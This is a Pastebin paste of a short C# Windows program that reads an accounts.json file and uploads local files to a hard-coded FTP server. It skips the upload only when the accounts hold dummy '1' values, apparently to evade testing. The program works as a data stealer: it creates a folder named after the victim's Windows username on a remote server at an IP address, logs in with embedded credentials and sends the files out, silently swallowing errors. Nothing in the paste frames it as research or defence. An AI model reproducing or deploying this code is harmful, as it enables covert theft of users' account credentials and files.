Guest User

done

a guest
Feb 3rd, 2018
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.38 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Net;
  6. using System.Net.Mail;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using Newtonsoft.Json;
  11.  
  12. namespace TestingProject
  13. {
  14.     public class Account
  15.     {
  16.         public string username { get; set; }
  17.         public string password { get; set; }
  18.         public bool? sentry { get; set; }
  19.     }
  20.  
  21.     public class Index
  22.     {
  23.         public List<Account> accounts { get; set; }
  24.     }
  25.  
  26.     public class Accounts
  27.     {
  28.         public List<Index> indexes { get; set; }
  29.     }
  30.  
  31.     static class Program
  32.     {
  33.         /// <summary>
  34.         /// Главная точка входа для приложения.
  35.         /// </summary>
  36.         [STAThread]
  37.         static void Main()
  38.         {
  39.             string appPath = Path.GetDirectoryName(Application.ExecutablePath);
  40.             if (!Directory.Exists(appPath)) return;//Error//
  41.  
  42.             string[] files = Directory.GetFiles(appPath);
  43.             string AccountsFile = "";
  44.             for (int i = 0; i < files.Length; i++)
  45.             {
  46.                 string file = files[i];
  47.                 string[] fileSplited = file.Split('\\');
  48.                 string name = fileSplited[fileSplited.Length - 1];
  49.                 if (name == "accounts.json")
  50.                 {
  51.                     AccountsFile = file;
  52.                     break;
  53.                 }
  54.             }
  55.             if (AccountsFile == "") return;
  56.  
  57.             string data = File.ReadAllText(AccountsFile);
  58.             Accounts acc = JsonConvert.DeserializeObject<Accounts>(data);
  59.             Account ac0 = acc.indexes[0].accounts[0];
  60.             Account ac1 = acc.indexes[1].accounts[1];
  61.             if (ac0.password == "1" && ac0.username == "1")
  62.                 if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
  63.                     return;
  64.  
  65.             CreateFolder(Environment.UserName);
  66.             if (Directory.Exists(appPath))
  67.             {
  68.                 var appFiles = Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
  69.                 foreach (string item in appFiles)
  70.                     FTPUploadFile(item, Environment.UserName);
  71.             }
  72.         }
  73.  
  74.  
  75.  
  76.         static void FTPUploadFile(string file, string directory)
  77.         {
  78.             try
  79.             {
  80.                 FileInfo toUpload = new FileInfo(file);
  81.                 using (WebClient client = new WebClient())
  82.                 {
  83.                     client.Encoding = Encoding.UTF8;
  84.                     client.Credentials = new NetworkCredential("kolyan1337", "123123123");
  85.                     client.UploadFile("ftp://185.209.23.225/check/" + directory + "/" + toUpload.Name, file);
  86.                 }
  87.             }
  88.             catch { }
  89.         }
  90.  
  91.         static void CreateFolder(string name)
  92.         {
  93.             try
  94.             {
  95.                 WebRequest request = WebRequest.Create("ftp://185.209.23.225/check/" + name);
  96.                 request.Method = WebRequestMethods.Ftp.MakeDirectory;
  97.                 request.Credentials = new NetworkCredential("kolyan1337", "123123123");
  98.                 using (var resp = (FtpWebResponse)request.GetResponse())
  99.                 {
  100.                     Console.WriteLine(resp.StatusCode);
  101.                 }
  102.             }
  103.             catch { }
  104.         }
  105.     }
  106. }
Add Comment
Please, Sign In to add comment